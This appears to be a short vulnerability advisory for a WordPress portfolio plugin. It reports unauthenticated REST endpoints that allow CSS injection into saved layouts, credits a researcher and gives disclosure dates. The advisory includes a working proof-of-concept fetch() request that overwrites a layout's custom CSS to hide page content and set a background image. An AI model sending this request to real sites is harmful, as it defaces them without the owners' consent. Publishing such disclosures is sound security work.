The plugin does not have proper authorisation checks in some of its REST endpoints, allowing unauthenticated users to call them and inject arbitrary CSS in arbitrary saved layouts
The post_id is the ID of a saved layout fetch('/?rest_route=/visual-portfolio/v1/update_layout&post_id=8&data[vp_custom_css]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none !important};', { method: 'POST', }).then(response => response.text()) .then(data => console.log(data));
Krzysztof Zając
Krzysztof Zając
Yes
2022-08-15 (about 1 years ago)
2022-08-15 (about 1 years ago)
2023-05-07 (about 4 months ago)